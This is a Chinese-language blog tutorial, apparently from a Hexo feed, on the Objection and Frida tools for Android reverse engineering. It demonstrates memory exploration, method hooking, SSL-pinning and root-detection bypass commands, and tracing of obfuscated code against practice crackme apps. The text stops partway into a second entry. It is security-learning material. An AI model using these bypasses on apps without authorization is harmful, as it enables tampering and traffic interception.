    <content type="html"><![CDATA[<h1 id="objection"><a href="#objection" class="headerlink" title="objection"></a>objection</h1><h2 id="什么是Objection"><a href="#什么是Objection" class="headerlink" title="什么是Objection"></a>什么是Objection</h2><p>Objection 是一种用于移动应用安全测试和逆向工程的开源工具，特别是针对 Android 应用程序。它提供了一套强大的功能和命令行工具，帮助安全研究人员、渗透测试人员和开发人员分析和评估移动应用的安全性。</p><p>一些 Objection 提供的功能包括：</p><ol><li><p><strong>Runtime Mobile Exploration（RME）：</strong> 允许用户在设备上动态地探索和分析移动应用程序。可以在运行时修改应用程序的行为、检查内存中的变量等。</p></li><li><p><strong>SSL Pinning Bypass：</strong> 可用于绕过应用程序中实现的 SSL Pinning 机制，从而更轻松地进行网络流量分析。</p></li><li><p><strong>Frida Scripting：</strong> 集成了 Frida 功能，可以编写脚本来 Hook 和修改应用程序的行为。</p></li><li><p><strong>API 集成：</strong> 可以通过 API 接口与 Objection 进行交互，使自动化测试和集成更容易。</p></li><li><p><strong>数据解密和加密分析：</strong> 可以帮助用户解密应用程序中的数据，并分析加密算法和实现。</p><h2 id="环境配置"><a href="#环境配置" class="headerlink" title="环境配置"></a>环境配置</h2></li></ol><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">mkvirtualenv frida14</span><br><span class="line">pip install objection</span><br><span class="line">pip install frida-tools</span><br></pre></td></tr></table></figure><h2 id="objection快速上手"><a href="#objection快速上手" class="headerlink" title="objection快速上手"></a>objection快速上手</h2><h3 id="注入命令"><a href="#注入命令" class="headerlink" title="注入命令"></a>注入命令</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">objection -g 包名 explore</span><br><span class="line"></span><br><span class="line">-   help：不知道当前命令的效果是什么，在当前命令前加help比如:help env，回车之后会出现当前命令的解释信息</span><br><span class="line">-   按空格：不知道输入什么就按空格，会有提示出来</span><br><span class="line">-   jobs：可以进行多项hook</span><br><span class="line">-   日志：objection的日志文件生成在 C:\Users\Administrator\.objection</span><br></pre></td></tr></table></figure><h3 id="启动前就hook"><a href="#启动前就hook" class="headerlink" title="启动前就hook"></a>启动前就hook</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">objection -g 进程名 explore --startup-command &quot;android hooking watch class 路径.类名&quot;</span><br></pre></td></tr></table></figure><h2 id="objection基础api"><a href="#objection基础api" class="headerlink" title="objection基础api"></a>objection基础api</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">memory list modules   -查看内存中加载的库</span><br><span class="line">memory list exports so名称 - 查看库的导出函数</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">com.zj.wuaipojie on (OnePlus: 11) [usb] # memory list exports libandroidio.so</span><br><span class="line">Save the output by adding `--json exports.json` to this command</span><br><span class="line">Type      Name                                        Address</span><br><span class="line">--------  ------------------------------------------  ------------</span><br><span class="line">function  async_close_monitor_create                  0x7625e87124</span><br><span class="line">function  async_close_monitor_destroy                 0x7625e87190</span><br><span class="line">function  async_close_monitor_signal_blocked_threads  0x7625e870ac</span><br><span class="line">function  async_close_monitor_static_init             0x7625e87014</span><br><span class="line">function  async_close_monitor_was_signalled           0x7625e87200</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">android hooking list activities -查看内存中加载的activity   android hooking list services -查看内存中加载的services</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">android intent launch_activity 类名 -启动`activity`或`service`(可以用于一些没有验证的activity,在一些简单的ctf中有时候可以出奇效)</span><br><span class="line"></span><br><span class="line">例子：android intent launch_activity com.zj.wuaipojie.ui.ChallengeThird</span><br></pre></td></tr></table></figure><figure class="highlight mipsasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">关闭ssl校验  <span class="keyword">android </span>sslpinning <span class="keyword">disable</span></span><br><span class="line"><span class="keyword">关闭root检测 </span> <span class="keyword">android </span>root <span class="keyword">disable</span></span><br></pre></td></tr></table></figure><h2 id="objection内存漫游"><a href="#objection内存漫游" class="headerlink" title="objection内存漫游"></a>objection内存漫游</h2><ol><li>内存搜刮类实例</li></ol><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">com.zj.wuaipojie on (google: 13) [usb] # android heap search instances com.zj.wuaipojie.Demo</span><br><span class="line">Class instance enumeration complete for com.zj.wuaipojie.Demo</span><br><span class="line"> Hashcode  Class                  toString()</span><br><span class="line">---------  ---------------------  -----------------------------</span><br><span class="line">127867717  com.zj.wuaipojie.Demo  com.zj.wuaipojie.Demo@79f1b45</span><br></pre></td></tr></table></figure><ol start="2"><li>调用实例的方法</li></ol><p>无参数</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">com.zj.wuaipojie on (google: 13) [usb] # android heap execute 127867717 getPublicInt</span><br><span class="line">Handle 127867717 is to class</span><br><span class="line">        com.zj.wuaipojie.Demo</span><br><span class="line">Executing method: getPublicInt()</span><br><span class="line">200</span><br></pre></td></tr></table></figure><p>有参数</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">com.zj.wuaipojie on (google: 13) [usb] # android heap evaluate 127867717</span><br><span class="line">(The hashcode at `127867717` will be available as the `clazz` variable.)</span><br><span class="line">console.log(clazz.a(&quot;修改后的&quot;));</span><br><span class="line">JavaScript capture complete. Evaluating...</span><br><span class="line">Handle 127867717 is to class</span><br><span class="line">        com.zj.wuaipojie.Demo</span><br><span class="line">这是一个修改后的方法</span><br></pre></td></tr></table></figure><ol start="3"><li>android hooking list classes -列出内存中所有的类(结果比静态分析的更准确)<br>这个列出的太多了，一般用不到</li><li>android hooking search classes 关键类名 -在内存中所有已加载的类中搜索包含特定关键词的类</li></ol><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">com.zj.wuaipojie on (google: 13) [usb] # android hooking search classes wuaipojie</span><br><span class="line">Note that Java classes are only loaded when they are used, so if the expected class has not been found, it might not have been loaded yet.</span><br><span class="line">com.zj.wuaipojie.Demo</span><br><span class="line">com.zj.wuaipojie.Demo$Animal</span><br><span class="line">com.zj.wuaipojie.Demo$Companion</span><br><span class="line">com.zj.wuaipojie.Demo$InnerClass</span><br><span class="line">com.zj.wuaipojie.Demo$test$1</span><br><span class="line">com.zj.wuaipojie.MainApplication</span><br><span class="line">com.zj.wuaipojie.databinding.ActivityMainBinding</span><br><span class="line">com.zj.wuaipojie.databinding.FragmentHomeBinding</span><br><span class="line">com.zj.wuaipojie.ui.Adapter.ChallengeAdapter</span><br><span class="line">com.zj.wuaipojie.ui.Adapter.ChallengeAdapter$$ExternalSyntheticLambda0</span><br><span class="line">com.zj.wuaipojie.ui.Adapter.ChallengeAdapter$ViewHolder</span><br><span class="line">com.zj.wuaipojie.ui.Challenge</span><br><span class="line">com.zj.wuaipojie.ui.ChallengeSixth</span><br><span class="line">com.zj.wuaipojie.ui.ChallengeSixth$$ExternalSyntheticLambda0</span><br><span class="line">com.zj.wuaipojie.ui.ChallengeSixth$$ExternalSyntheticLambda1</span><br><span class="line">com.zj.wuaipojie.ui.ChallengeSixth$$ExternalSyntheticLambda2</span><br><span class="line">com.zj.wuaipojie.ui.ChallengeSixth$$ExternalSyntheticLambda3</span><br><span class="line">com.zj.wuaipojie.ui.Fragment.ChallengeFragment</span><br><span class="line">com.zj.wuaipojie.ui.Fragment.HomeFragment</span><br><span class="line">com.zj.wuaipojie.ui.MainActivity</span><br><span class="line">com.zj.wuaipojie.ui.MainActivity$$ExternalSyntheticLambda0</span><br><span class="line">com.zj.wuaipojie.ui.MainActivity$handler$1</span><br><span class="line">com.zj.wuaipojie.ui.MainActivity$inlined$sam$i$androidx_navigation_ui_AppBarConfiguration_OnNavigateUpListener$0</span><br><span class="line">com.zj.wuaipojie.ui.MainActivity$onCreate$$inlined$AppBarConfiguration$default$1</span><br><span class="line">com.zj.wuaipojie.util.SPUtils</span><br><span class="line"></span><br><span class="line">Found 25 classes</span><br></pre></td></tr></table></figure><ol start="5"><li>android hooking search methods 关键方法名 -在内存中所有已加载的类的方法中搜索包含特定关键词的方法(一般不建议使用，特别耗时，还可能崩溃)</li></ol><ol start="6"><li>android hooking list class_methods 类名 -内存漫游类中的所有方法</li></ol><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">com.zj.wuaipojie on (google: 13) [usb] # android hooking list class_methods com.zj.wuaipojie.Demo</span><br><span class="line">private final void com.zj.wuaipojie.Demo.complexParameterFunc(java.lang.String,java.util.HashMap&lt;java.lang.Object, java.lang.Object&gt;)</span><br><span class="line">private final void com.zj.wuaipojie.Demo.privateFunc(java.lang.String)</span><br><span class="line">private final void com.zj.wuaipojie.Demo.refl()</span><br><span class="line">private final void com.zj.wuaipojie.Demo.repleaceFunc()</span><br><span class="line">private final void com.zj.wuaipojie.Demo.staticPrivateFunc(java.lang.String)</span><br><span class="line">public final int com.zj.wuaipojie.Demo.getPublicInt()</span><br><span class="line">public final java.lang.String com.zj.wuaipojie.Demo.a(java.lang.String)</span><br><span class="line">public final void com.zj.wuaipojie.Demo.Inner(com.zj.wuaipojie.Demo$Animal,java.lang.String)</span><br><span class="line">public final void com.zj.wuaipojie.Demo.setPublicInt(int)</span><br><span class="line">public final void com.zj.wuaipojie.Demo.test()</span><br><span class="line">public static final java.lang.String com.zj.wuaipojie.Demo.access$getStaticField$cp()</span><br><span class="line"></span><br><span class="line">Found 11 method(s)</span><br><span class="line"></span><br><span class="line">com.zj.wuaipojie on (google: 13) [usb] # android hooking list class_methods com.zj.wuaipojie.ui.ChallengeSixth</span><br><span class="line">private static final void com.zj.wuaipojie.ui.ChallengeSixth.onCreate$lambda-0(com.zj.wuaipojie.ui.ChallengeSixth,android.view.View)</span><br><span class="line">private static final void com.zj.wuaipojie.ui.ChallengeSixth.onCreate$lambda-1(com.zj.wuaipojie.ui.ChallengeSixth,android.view.View)</span><br><span class="line">private static final void com.zj.wuaipojie.ui.ChallengeSixth.onCreate$lambda-2(com.zj.wuaipojie.ui.ChallengeSixth,android.view.View)</span><br><span class="line">private static final void com.zj.wuaipojie.ui.ChallengeSixth.onCreate$lambda-3(com.zj.wuaipojie.ui.ChallengeSixth,android.view.View)</span><br><span class="line">protected void com.zj.wuaipojie.ui.ChallengeSixth.onCreate(android.os.Bundle)</span><br><span class="line">public final java.lang.String com.zj.wuaipojie.ui.ChallengeSixth.hexToString(java.lang.String)</span><br><span class="line">public final java.lang.String com.zj.wuaipojie.ui.ChallengeSixth.unicodeToString(java.lang.String)</span><br><span class="line">public final void com.zj.wuaipojie.ui.ChallengeSixth.toastPrint(java.lang.String)</span><br><span class="line">public static void com.zj.wuaipojie.ui.ChallengeSixth.$r8$lambda$1lrkrgiCEFWXZDHzLRibYURG1h8(com.zj.wuaipojie.ui.ChallengeSixth,android.view.View)</span><br><span class="line">public static void com.zj.wuaipojie.ui.ChallengeSixth.$r8$lambda$IUqwMqbTKaOGiTaeOmvy_GjNBso(com.zj.wuaipojie.ui.ChallengeSixth,android.view.View)</span><br><span class="line">public static void com.zj.wuaipojie.ui.ChallengeSixth.$r8$lambda$Kc_cRYZjjhjsTl6GYNHbgD-i6sE(com.zj.wuaipojie.ui.ChallengeSixth,android.view.View)</span><br><span class="line">public static void com.zj.wuaipojie.ui.ChallengeSixth.$r8$lambda$PDKm2AfziZQo6Lv1HEFkJWkUsoE(com.zj.wuaipojie.ui.ChallengeSixth,android.view.View)</span><br><span class="line"></span><br><span class="line">Found 12 method(s)</span><br></pre></td></tr></table></figure><h2 id="objectionHook"><a href="#objectionHook" class="headerlink" title="objectionHook"></a>objectionHook</h2><ol><li><p>hook类的所有方法</p><p>好像没什么效果</p></li></ol><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">com.zj.wuaipojie on (google: 13) [usb] # android hooking watch class com.zj.wuaipojie.Demo --dump-backtrace --dump-args</span><br><span class="line"> --dump-return</span><br><span class="line">(agent) Hooking com.zj.wuaipojie.Demo.access$getStaticField$cp()</span><br><span class="line">(agent) Hooking com.zj.wuaipojie.Demo.complexParameterFunc(java.lang.String, java.util.HashMap)</span><br><span class="line">(agent) Hooking com.zj.wuaipojie.Demo.privateFunc(java.lang.String)</span><br><span class="line">(agent) Hooking com.zj.wuaipojie.Demo.refl()</span><br><span class="line">(agent) Hooking com.zj.wuaipojie.Demo.repleaceFunc()</span><br><span class="line">(agent) Hooking com.zj.wuaipojie.Demo.staticPrivateFunc(java.lang.String)</span><br><span class="line">(agent) Hooking com.zj.wuaipojie.Demo.Inner(com.zj.wuaipojie.Demo$Animal, java.lang.String)</span><br><span class="line">(agent) Hooking com.zj.wuaipojie.Demo.a(java.lang.String)</span><br><span class="line">(agent) Hooking com.zj.wuaipojie.Demo.getPublicInt()</span><br><span class="line">(agent) Hooking com.zj.wuaipojie.Demo.setPublicInt(int)</span><br><span class="line">(agent) Hooking com.zj.wuaipojie.Demo.test()</span><br><span class="line">(agent) Registering job 919624. Type: watch-class for: com.zj.wuaipojie.Demo</span><br></pre></td></tr></table></figure><ol start="2"><li>hook方法的参数、返回值和调用栈</li></ol><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">com.zj.wuaipojie on (google: 13) [usb] # android hooking watch class_method com.zj.wuaipojie.Demo.a --dump-args --dump-</span><br><span class="line">return --dump-backtrace</span><br><span class="line">(agent) Attempting to watch class com.zj.wuaipojie.Demo and method a.</span><br><span class="line">(agent) Hooking com.zj.wuaipojie.Demo.a(java.lang.String)</span><br><span class="line">(agent) Registering job 276091. Type: watch-method for: com.zj.wuaipojie.Demo.a</span><br><span class="line">com.zj.wuaipojie on (google: 13) [usb] # (agent) [276091] Called com.zj.wuaipojie.Demo.a(java.lang.String)</span><br><span class="line">(agent) [276091] Backtrace:</span><br><span class="line">        com.zj.wuaipojie.Demo.a(Native Method)</span><br><span class="line">        com.zj.wuaipojie.Demo.test(Demo.kt:19)</span><br><span class="line">        com.zj.wuaipojie.ui.ChallengeSixth.onCreate(ChallengeSixth.kt:36)</span><br><span class="line">        android.app.Activity.performCreate(Activity.java:8342)</span><br><span class="line">        android.app.Activity.performCreate(Activity.java:8321)</span><br><span class="line">        android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1417)</span><br><span class="line">        android.app.ActivityThread.performLaunchActivity(ActivityThread.java:3625)</span><br><span class="line">        android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:3781)</span><br><span class="line">        android.app.servertransaction.LaunchActivityItem.execute(LaunchActivityItem.java:101)</span><br><span class="line">        android.app.servertransaction.TransactionExecutor.executeCallbacks(TransactionExecutor.java:138)</span><br><span class="line">        android.app.servertransaction.TransactionExecutor.execute(TransactionExecutor.java:95)</span><br><span class="line">        android.app.ActivityThread$H.handleMessage(ActivityThread.java:2306)</span><br><span class="line">        android.os.Handler.dispatchMessage(Handler.java:106)</span><br><span class="line">        android.os.Looper.loopOnce(Looper.java:201)</span><br><span class="line">        android.os.Looper.loop(Looper.java:288)</span><br><span class="line">        android.app.ActivityThread.main(ActivityThread.java:7918)</span><br><span class="line">        java.lang.reflect.Method.invoke(Native Method)</span><br><span class="line">        com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:548)</span><br><span class="line">        com.android.internal.os.ZygoteInit.main(ZygoteInit.java:936)</span><br><span class="line"></span><br><span class="line">(agent) [276091] Arguments com.zj.wuaipojie.Demo.a(普通)</span><br><span class="line">(agent) [276091] Return Value: 这是一个普通方法</span><br></pre></td></tr></table></figure><p>其他例子：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">android hooking watch class_method com.zj.wuaipojie.Demo.privateFunc --dump-args --dump-return --dump-backtrace</span><br></pre></td></tr></table></figure><ol start="3"><li>hook 类的构造方法</li></ol><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">android hooking watch class_method com.zj.wuaipojie.Demo.$init --dump-args --dump-backtrace</span><br></pre></td></tr></table></figure><ol start="4"><li>hook 方法的所有重载</li></ol><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">android hooking watch class_method com.zj.wuaipojie.Demo.repleaceFunc</span><br></pre></td></tr></table></figure><p>调用repleaceFunc的时候会显示</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">(agent) [107162] Called com.zj.wuaipojie.Demo.repleaceFunc()</span><br></pre></td></tr></table></figure><h1 id="trace实战java控制流混淆"><a href="#trace实战java控制流混淆" class="headerlink" title="trace实战java控制流混淆"></a>trace实战java控制流混淆</h1><p>项目地址：<br><a href="https://github.com/CodingGay/BlackObfuscator" target="_blank" rel="noopener">BlackObfuscator</a></p><p>示例1：<br><img src="https://raw.githubusercontent.com/giantbranch/pic-store/master/%E5%B0%8F%E4%B9%A6%E5%8C%A0/3d5d1185189ca52ba2504f8597c20ba1_1721117607153.png" alt></p><p>示例2：</p><p><img src="https://raw.githubusercontent.com/giantbranch/pic-store/master/%E5%B0%8F%E4%B9%A6%E5%8C%A0/fad6b8e02b1e401644cd029f31b974ec_1721117607165.png" alt></p><h2 id="对抗方法"><a href="#对抗方法" class="headerlink" title="对抗方法"></a>对抗方法</h2><ol><li>ZenTracer<br><a href="https://github.com/hluwa/ZenTracer" target="_blank" rel="noopener">项目地址</a></li></ol><p>缺点:无法打印调用栈，无法<code>hook</code>构造函数</p><p>支持frida的版本<code>firda==14.2.18</code>，可以通过<code>frida-tools==9.2.4</code>来安装</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">pip install frida-tools==9.2.4</span><br><span class="line">pip install PyQt5</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">//使用说明</span><br><span class="line">1.运行server端</span><br><span class="line">2.点击action</span><br><span class="line">3.点击Match Regex设置过滤标签</span><br><span class="line">4.输入包名(或者方法名等可以过滤的标签)，点击add</span><br><span class="line">5.点击action的start</span><br><span class="line">6.点击应用触发相应的逻辑</span><br><span class="line">7.可左上角fils-Export JSON来导出日志分析</span><br></pre></td></tr></table></figure><p><strong>具体使用实例</strong></p><ol><li>先启动frida-server</li></ol><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">OnePlus3:/data/local/tmp # ./frida-server-14.2.18-android-arm64</span><br></pre></td></tr></table></figure><ol start="2"><li>手机打开要分析的app</li></ol><ol start="3"><li>电脑端设置过滤</li></ol><p><img src="https://raw.githubusercontent.com/giantbranch/pic-store/master/%E5%B0%8F%E4%B9%A6%E5%8C%A0/c429182dba50ef71f604014a847b903a_1721117607166.png" alt><br><img src="https://raw.githubusercontent.com/giantbranch/pic-store/master/%E5%B0%8F%E4%B9%A6%E5%8C%A0/8c17874276a7f68f612076c7fd5befc8_1721117607167.png" alt></p><ol start="4"><li>之后点击start，有下面的日志说明hook成功</li></ol><p><img src="https://raw.githubusercontent.com/giantbranch/pic-store/master/%E5%B0%8F%E4%B9%A6%E5%8C%A0/060a358c224dd4c62d30e849776fd994_1721117607168.png" alt><br>清空软件的log，点击app的功能（这里是flag验证）</p><p><img src="https://raw.githubusercontent.com/giantbranch/pic-store/master/%E5%B0%8F%E4%B9%A6%E5%8C%A0/fcaa2fd1b687ca6b8a0ac1dcc762a0f7_1721117607169.png" alt></p><p>就可以看到使用的加密算法，加密后的返回值，最终retval是</p><p>tips：可以导出json复制查看</p><p><img src="https://raw.githubusercontent.com/giantbranch/pic-store/master/%E5%B0%8F%E4%B9%A6%E5%8C%A0/f962fb9f544aefd24c2b23c569629048_1721117607170.png" alt></p><ol start="3"><li><ol start="2"><li>r0tracer<br><a href="https://github.com/r0ysue/r0tracer" target="_blank" rel="noopener">项目地址</a></li></ol></li></ol><p>兼容最新版本frida，16.2.1</p><p><strong>使用方法</strong></p><ol><li>修改r0tracer.js文件最底部处的代码，开启某一个Hook模式。</li></ol><p>比如hook有wuaipojie2023_1关键字的所有类</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">hook(&quot;wuaipojie2023_1&quot;);</span><br></pre></td></tr></table></figure><ol start="2"><li>推荐使用Frida14版本，并且将日志使用-o参数进行输出保存</li></ol><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">frida -U -f com.zj.wuaipojie2023_1 -l r0tracer.js  --no-pause</span><br><span class="line">frida -U -f com.zj.wuaipojie2023_1 -l r0tracer.js  --no-pause -o saveLog.txt</span><br></pre></td></tr></table></figure><blockquote><p>“-f”为Spawn模式，去掉”-f”为Attach模式</p></blockquote><p><strong>注意：</strong> hook不到类的话，还<strong>需要再app点击相应的功能</strong>，之后执行<code>%reload</code>一下，看看是否hook所有类</p><p>最开始也是只有4个类</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">Search Class Completed!</span><br><span class="line">On Total Tracing :4 classes :</span><br><span class="line">com.zj.wuaipojie2023_1.MainActivity</span><br><span class="line">com.zj.wuaipojie2023_1.MD5Utils</span><br><span class="line">com.zj.wuaipojie2023_1.Base64Utils</span><br><span class="line">com.zj.wuaipojie2023_1.MainActivity$$ExternalSyntheticLambda0</span><br><span class="line">Start Tracing ...</span><br></pre></td></tr></table></figure><p>后面app点击相应的功能，之后执行<code>%reload</code>一下才hook7个</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">Search Class Completed!</span><br><span class="line">On Total Tracing :7 classes :</span><br><span class="line">com.zj.wuaipojie2023_1.B</span><br><span class="line">com.zj.wuaipojie2023_1.MainActivity</span><br><span class="line">com.zj.wuaipojie2023_1.C</span><br><span class="line">com.zj.wuaipojie2023_1.MD5Utils</span><br><span class="line">com.zj.wuaipojie2023_1.Base64Utils</span><br><span class="line">com.zj.wuaipojie2023_1.MainActivity$$ExternalSyntheticLambda0</span><br><span class="line">com.zj.wuaipojie2023_1.A</span><br><span class="line">Start Tracing ...</span><br></pre></td></tr></table></figure><ol start="3"><li>Frida版本=&lt;12时，要加上–runtime=v8选项</li></ol>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;objection&quot;&gt;&lt;a href=&quot;#objection&quot; class=&quot;headerlink&quot; title=&quot;objection&quot;&gt;&lt;/a&gt;objection&lt;/h1&gt;&lt;h2 id=&quot;什么是Objection&quot;&gt;&lt;a href=&quot;#什么是Objection&quot;
      
    
    </summary>
    
      <category term="/小书匠/日记/2024-03" scheme="https://www.giantbranch.cn/categories/%E5%B0%8F%E4%B9%A6%E5%8C%A0-%E6%97%A5%E8%AE%B0-2024-03/"/>
    
    
      <category term="Frida,Hook,安卓安全" scheme="https://www.giantbranch.cn/tags/Frida-Hook-%E5%AE%89%E5%8D%93%E5%AE%89%E5%85%A8/"/>
    
  </entry>
  
  <entry>
    <title>安卓Frida Hook基础</title>
    <link href="https://www.giantbranch.cn/2024/03/16/%E5%AE%89%E5%8D%93Frida%20Hook%E5%9F%BA%E7%A1%80/"/>
    <id>https://www.giantbranch.cn/2024/03/16/安卓Frida Hook基础/</id>
    <published>2024-03-15T16:00:00.000Z</published>
    <updated>2024-12-01T02:32:49.714Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Frida安装"><a href="#Frida安装" class="headerlink" title="Frida安装"></a>Frida安装</h1><h2 id="python虚拟环境安装"><a href="#python虚拟环境安装" class="headerlink" title="python虚拟环境安装"></a>python虚拟环境安装</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">pip config --global set global.index-url https://mirrors.cloud.tencent.com/pypi/simple</span><br><span class="line"></span><br><span class="line">pip install virtualenvwrapper-win</span><br></pre></td></tr></table></figure><p>设置环境变量WORKON_HOME为下面自己建立好的路径，当然默认也可以不设置，默认在用户目录下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">C:\WORKON_HOME</span><br></pre></td></tr></table></figure><p>新建环境<code>mkvirtualenv fridatest</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">c新建环境</span><br><span class="line">rmvirtualenv 删除环境</span><br></pre></td></tr></table></figure><p>下次打开cmd进入环境</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">workon fridatest</span><br></pre></td></tr></table></figure><h2 id="Frida安装以及多版本处理"><a href="#Frida安装以及多版本处理" class="headerlink" title="Frida安装以及多版本处理"></a>Frida安装以及多版本处理</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pip install frida-tools</span><br></pre></td></tr></table></figure><h2 id="Frida-server"><a href="#Frida-server" class="headerlink" title="Frida-server"></a>Frida-server</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">(fridatest) 